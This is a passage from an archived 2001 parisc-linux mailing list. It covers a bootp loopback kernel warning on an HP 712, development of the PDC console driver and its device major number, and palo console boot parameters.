	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13214

Hi all;

I send this with a dual purpose:

First:

I got my 712/80i running fine off the 0.9.2 ISO (it worked GREAT after I
tried the 32bit kernel and not the 64bit one :> ) Anyway, It runs pretty
well. So: has anyone gotten X working on a 712? and would like to share?

Second:
like I said, it works pretty well...
...except for the fact that while I'm using it (or even when it's just at
a tty login prompt) these errors come up:

ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16


67 and 68 are bootp server and client ports, respectively. How can I get
rid of these? they prevent the box from being really useful because they
pop up every minute or so at the current cursor location, which is a major
detriment to doing, well, anything.

As far as I can tell, these packets are coming from the machine itself,
and it's attempting to send a broadcast packet over loopback. Perhaps by
turning off bootp services in /etc/inetd.conf?

thanks for your time,

-phil


-- 
===============================================================================

Phil Anderson
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

"Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson




From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad local loopback (and 712 X query)
Date: Mon, 26 Nov 2001 00:02:33 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <200111260702.AAA03201@puffin.external.hp.com>
References: <andersop@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620805 30804 80.91.229.3 (22 Nov 2014 01:46:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Phil Anderson <andersop@bob.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 26 00:07:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4986F6125
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Nov 2001 00:07:59 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA03201;
	Mon, 26 Nov 2001 00:02:33 -0700
In-Reply-To: Message from Phil Anderson <andersop@bob.ncssm.edu> 
   of "Mon, 26 Nov 2001 01:50:42 EST." <Pine.LNX.4.33.0111260140330.4886-100000@bob.ncssm.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13215

Phil Anderson wrote:
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

http://www.parisc-linux.org/release-0.9/errata-092.html

(and I didn't just add that)

grant



From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status E55 - is the driver accepted ?
Date: 26 Nov 2001 00:28:04 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <1006759684.5609.3.camel@beavis>
References: <3C016DC9.980D5409@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620805 30808 80.91.229.3 (22 Nov 2014 01:46:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:45 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 26 00:28:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 632856120
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Nov 2001 00:28:06 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 8FFD6BD97; Mon, 26 Nov 2001 00:28:04 -0700 (MST)
In-Reply-To: <3C016DC9.980D5409@gmx.at>
X-Mailer: Evolution/0.99.2 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13216

On Sun, 2001-11-25 at 15:16, Christoph Plattner wrote:
> Hello PARISC "Hackers" !!
> 
> What's the status of the PDC ROM tty driver ?

I just got back from vacation, I've updated to the latest -pa number and
fixed the patch (I forgot to include the firmware.c file in the diff).

I have gotten some preliminary feedback from Matthew Wilcox to change
the Major number from 30 to 60 which I have done.  I have put out a new
.diff (with the firmware.c changes this time!) for anyone to review. 
Unless someone has problems with the patch, I am planning on committing
this tomorrow (once Matthew has a chance to finish reviewing the
complete patch).
 
> Ryan Bradetich told me, that he has tested it and added the
> config stuff. 

yep, I also updated it to the CVS head.

> By the way: I cannot reach Ryan Bradetich, his email address
> seems to be wrong !!!!

yeah .. broken mailer on my side (I'm in the middle of an ISP switch,
sorry for the confusion).   The address that works is
rbradetich@uswest.net (which is subscribed to the mailing list, so I got
copies of all the mail.. sorry for the bounces ... this has been fixed
now.  This address will be changing in the near future as I get moved to
my new ISP.

Thanks,

- Ryan

> With friendly regards
> Christoph P.
> 
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - THE DRIVER !
Date: 26 Nov 2001 00:38:26 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <1006760306.14588.5.camel@beavis>
References: <3BF99676.2A291CDD@gmx.at>  <1006299638.4898.16.camel@beavis>
	<1006314043.4898.20.camel@beavis>  <3BFBFCA1.6B5CB2B3@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620805 30811 80.91.229.3 (22 Nov 2014 01:46:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:45 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 26 00:38:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E9196019
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Nov 2001 00:38:28 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id B28E0BD97; Mon, 26 Nov 2001 00:38:26 -0700 (MST)
In-Reply-To: <3BFBFCA1.6B5CB2B3@gmx.at>
X-Mailer: Evolution/0.99.2 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13217

On Wed, 2001-11-21 at 12:12, Christoph Plattner wrote:
> Very good, that you have done the config stuff, I was not able to, as 
> I had never things to do with the configuring (expcet for using it ...).

No problem, I've done it once in the past for a different driver :)

> Will you chick in the stuff for all ?
Yes.  I wanted to first understand how to handle the major number, I
think I've got my answer for that now.
 
> I have no problem with it, if another major was taken. I only used this,
> because there was a hole in the `major.h' at 30.

Willy Suggested 60 since it was for local/experimental use.  If the
driver gets merged into the mainline kernel, we will have to address
this at that time.

> Will the changes done for the PA Linux tree also migrated to the main
> stream kernel tree ?
> When ? All minor versions (2.4.13, 2.4.14, ....) or at 2.6.x !!
I believe that is the plan, Willy has been handling most of that so that
is a better question for him to answer.


> I am happy, that your machine is also working with that stuff !

Thanks, and thank you for the driver!

- Ryan

> Bye
> Christoph P.
> 
> 
> 
> Ryan Bradetich wrote:
> > 
> > > I am still working on testing this driver ... I would be very happy to
> > > see install the K460 using the debian installer using this patch.  I am
> > > currently working on making that happen.
> > 
> > I got through enough of the installer tonight to see what I wanted to
> > see.  This PDC Software console should allow a complete debian install.
> > The dialog menus are not pretty, but they are functional.
> > 
> > Thanks,
> > 
> > - Ryan
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - THE DRIVER !
Date: 26 Nov 2001 00:45:06 -0700
Lines: 104
Approved: news@gmane.org
Message-ID: <1006760706.14588.7.camel@beavis>
References: <3BF99676.2A291CDD@gmx.at> <1006299638.4898.16.camel@beavis> 
	<3BFBFD98.29F4D69A@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620806 30814 80.91.229.3 (22 Nov 2014 01:46:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:46 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 26 00:45:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0C306121
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Nov 2001 00:45:07 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 708DBBD97; Mon, 26 Nov 2001 00:45:06 -0700 (MST)
In-Reply-To: <3BFBFD98.29F4D69A@gmx.at>
X-Mailer: Evolution/0.99.2 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13218

On Wed, 2001-11-21 at 12:16, Christoph Plattner wrote:
> Hello again,
> 
> Are you able to write the drivers ?

Not sure, but we will find out :)

> Do you have the documentation for that ?
Depends on if I can find it.  A lot of this older documentation I have
not been able to locate *sigh*.  I have not spent much time looking for
it yet, because I have not started on the drivers yet.  The only driver
I have started on was the MUX driver, and I was unable to locate
documenation so far, but I have not given up yet.

> I have problems with my spare time, but I am also interested in writing
> drivers (especially for my machine !)

> Which drivers will you write ?
> MUX ?, SCSI ? (parallel port ?)

I have a bunch of cards, so pick one that you want to work on, and I can
start on a different one.  I've been working on the MUX lately, but with
your PDC patch, I'm kinda leaning towards the skunk or wizard scsi
card.  I have a stack of cards that to work on, so feel free to grab the
one that suits your fancy :)

- Ryan

> Bye
> Christoph
> 
> 
> 
> Ryan Bradetich wrote:
> > 
> > Hello Christoph,
> > 
> > I have integrated your patch into my tree, and have been testing out the
> > patch on my C200+ and the K460.  With the PDC console patch, I do get to
> > the console on the K460 which is great news.  I am still going to work
> > on the driver for the actual hardware (in my case the Eole CAP/MUX, and
> > in your case the Sahp Baat Kiuh AP/MUX), but this is a nice work around
> > until that work is finished.
> > 
> > When integrating your patch into my tree, I made the following changes:
> > 
> > * Dropped the LCD support.
> >         I do not understand this portion of the code very well, and it  had
> > some uglyness that made me feel uneasy to commit to the tree.   Someone
> > else should look at this and integrate it properly.
> > 
> > * Renamed the pdc_drv to pdc_console.
> >         Just seemed more accurate to me .. I am open for other opinions
> >         on this.
> > 
> > * Added the configure option and help text for the PDC software console.
> > * Inegerated CONFIG_PDC_CONSOLE into the drivers/char/Makefile.
> > * Integrated CONFIG_PDC_CONSOLE into arch/parisc/kernel/pdc_cons.c and
> >         performed some minor cleanups.
> > 
> > * probably other things I've forgotten :)
> > 
> > Overall I though the patch looked great, but I still have 1 concern left
> > and that is about the major number.
> > 
> > According to Documentation/devices.txt major number 30 is reserved for:
> >  30 char        iBCS-2 compatibility devices
> > 
> > I understand about --><-- much about how major numbers are handled and I
> > know this is a topic of debate among the main stream kernel developers.
> > If we ever want to move this driver into the mainstream kernel this
> > issue will probably need to be resolved ... and I have no idea on how to
> > proceed.  Maybe others on this list will have an idea, or when the time
> > comes we will need to address this on the lkml.  Before I commit this
> > patch to the CVS repository, I'd like to get some concensus on this list
> > about what is right.  (ie for the debian installer to work with this
> > device, /dev/ttyB0 will need to be added to the MAKEDEV package, etc).
> > 
> > Anyways the patch is available for feedback at:
> > ftp://ftp.parisc-linux.org/patches/pdc_console.diff
> > 
> > I am still working on testing this driver ... I would be very happy to
> > see install the K460 using the debian installer using this patch.  I am
> > currently working on making that happen.
> > 
> > Thanks,
> > 
> > - Ryan
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - It Runs!
Date: Mon, 26 Nov 2001 10:36:29 +0100
Organization: SAP LinuxLab
Lines: 33
Approved: news@gmane.org
Message-ID: <E168IBh-00034H-00@linuxlab.wdf.sap-ag.de>
References: <200111260357.UAA02910@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620806 30820 80.91.229.3 (22 Nov 2014 01:46:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>,
	"Craig D. Lansing" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 26 02:36:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 988506122
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Nov 2001 02:36:32 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA11224;
  Mon, 26 Nov 2001 10:39:39 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <200111260357.UAA02910@puffin.external.hp.com>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13219

> >  So far, I've only been able
> > to connect to the serial port via a Reflection session to login to the =
> > system after getting through the boot path & IPL on the attached =
> > graphics terminal.
>
> You probably have the palo param "console=ttyS0" and that's why
> it's switching to serial console. Palo documentation suggests
> using "console=tty" for auto-detecting the console.

IIRC you should prefer to *NOT* add any "console=xxx"  param
in which case palo will automatically detect if you boot your machine 
via serial cable or from the graphics prompt and will add the right 
param for you during boot.

> >   Does anyone know how to use the graphics terminal =
> > exclusively?  I assume that I need to change some of the IPL parms, e.g.
> > = sti=3D or console=3D, but I do not know what values to use.  Any help =
> > would be appreciated.
>
> With 0.9.2, if the graphics head were recognized and has a working
> STI ROM, I would expect the console to remain on the graphics head.

The "sti=x" param will let you select which STI graphics device to use 
for the initial console in case you have multiple STI graphic devices
in your machine. It does not switch between serial and graphic console.

Don't touch those params and instead install a newer kernel with sticon/stifb 
compiled in, boot your machine and you'll see if your STI graphic is detected.
If it's not detected, then we don't support it yet.

Helge



From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - THE DRIVER !
Date: Mon, 26 Nov 2001 18:47:31 +0100
Organization: private
Lines: 124
Approved: news@gmane.org
Message-ID: <3C028033.5DBB735@gmx.at>
References: <3BF99676.2A291CDD@gmx.at> <1006299638.4898.16.camel@beavis> 
		<3BFBFD98.29F4D69A@gmx.at> <1006760706.14588.7.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620806 30827 80.91.229.3 (22 Nov 2014 01:46:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:46 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 26 10:47:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F52B482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Nov 2001 10:47:34 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011126174730.DOQF1236.viefep14-int.chello.at@gmx.at>;
          Mon, 26 Nov 2001 18:47:30 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13220

Hello again !

Yes especially I am interesting in writing the driver for my E55
MUX board ....

With friendly regards
Christoph P.


Ryan Bradetich wrote:
> 
> On Wed, 2001-11-21 at 12:16, Christoph Plattner wrote:
> > Hello again,
> >
> > Are you able to write the drivers ?
> 
> Not sure, but we will find out :)
> 
> > Do you have the documentation for that ?
> Depends on if I can find it.  A lot of this older documentation I have
> not been able to locate *sigh*.  I have not spent much time looking for
> it yet, because I have not started on the drivers yet.  The only driver
> I have started on was the MUX driver, and I was unable to locate
> documenation so far, but I have not given up yet.
> 
> > I have problems with my spare time, but I am also interested in writing
> > drivers (especially for my machine !)
> 
> > Which drivers will you write ?
> > MUX ?, SCSI ? (parallel port ?)
> 
> I have a bunch of cards, so pick one that you want to work on, and I can
> start on a different one.  I've been working on the MUX lately, but with
> your PDC patch, I'm kinda leaning towards the skunk or wizard scsi
> card.  I have a stack of cards that to work on, so feel free to grab the
> one that suits your fancy :)
> 
> - Ryan
> 
> > Bye
> > Christoph
> >
> >
> >
> > Ryan Bradetich wrote:
> > >
> > > Hello Christoph,
> > >
> > > I have integrated your patch into my tree, and have been testing out the
> > > patch on my C200+ and the K460.  With the PDC console patch, I do get to
> > > the console on the K460 which is great news.  I am still going to work
> > > on the driver for the actual hardware (in my case the Eole CAP/MUX, and
> > > in your case the Sahp Baat Kiuh AP/MUX), but this is a nice work around
> > > until that work is finished.
> > >
> > > When integrating your patch into my tree, I made the following changes:
> > >
> > > * Dropped the LCD support.
> > >         I do not understand this portion of the code very well, and it  had
> > > some uglyness that made me feel uneasy to commit to the tree.   Someone
> > > else should look at this and integrate it properly.
> > >
> > > * Renamed the pdc_drv to pdc_console.
> > >         Just seemed more accurate to me .. I am open for other opinions
> > >         on this.
> > >
> > > * Added the configure option and help text for the PDC software console.
> > > * Inegerated CONFIG_PDC_CONSOLE into the drivers/char/Makefile.
> > > * Integrated CONFIG_PDC_CONSOLE into arch/parisc/kernel/pdc_cons.c and
> > >         performed some minor cleanups.
> > >
> > > * probably other things I've forgotten :)
> > >
> > > Overall I though the patch looked great, but I still have 1 concern left
> > > and that is about the major number.
> > >
> > > According to Documentation/devices.txt major number 30 is reserved for:
> > >  30 char        iBCS-2 compatibility devices
> > >
> > > I understand about --><-- much about how major numbers are handled and I
> > > know this is a topic of debate among the main stream kernel developers.
> > > If we ever want to move this driver into the mainstream kernel this
> > > issue will probably need to be resolved ... and I have no idea on how to
> > > proceed.  Maybe others on this list will have an idea, or when the time
> > > comes we will need to address this on the lkml.  Before I commit this
> > > patch to the CVS repository, I'd like to get some concensus on this list
> > > about what is right.  (ie for the debian installer to work with this
> > > device, /dev/ttyB0 will need to be added to the MAKEDEV package, etc).
> > >
> > > Anyways the patch is available for feedback at:
> > > ftp://ftp.parisc-linux.org/patches/pdc_console.diff
> > >
> > > I am still working on testing this driver ... I would be very happy to
> > > see install the K460 using the debian installer using this patch.  I am
> > > currently working on making that happen.
> > >
> > > Thanks,
> > >
> > > - Ryan
> >
> > --
> > -------------------------------------------------------
> > private:      christoph.plattner@gmx.at
> > company:      christoph.plattner@alcatel.at
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad local loopback (and 712 X query)
Date: Mon, 26 Nov 2001 19:13:23 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <003001c176d8$54ecc0a0$0101a8c0@pogo>
References: <Pine.LNX.4.33.0111260140330.4886-100000@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620807 30834 80.91.229.3 (22 Nov 2014 01:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:47 +0000 (UTC)
To: "Phil Anderson" <andersop@bob.ncssm.edu>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 26 17:13:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CBAD482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Nov 2001 17:13:05 -0700 (MST)
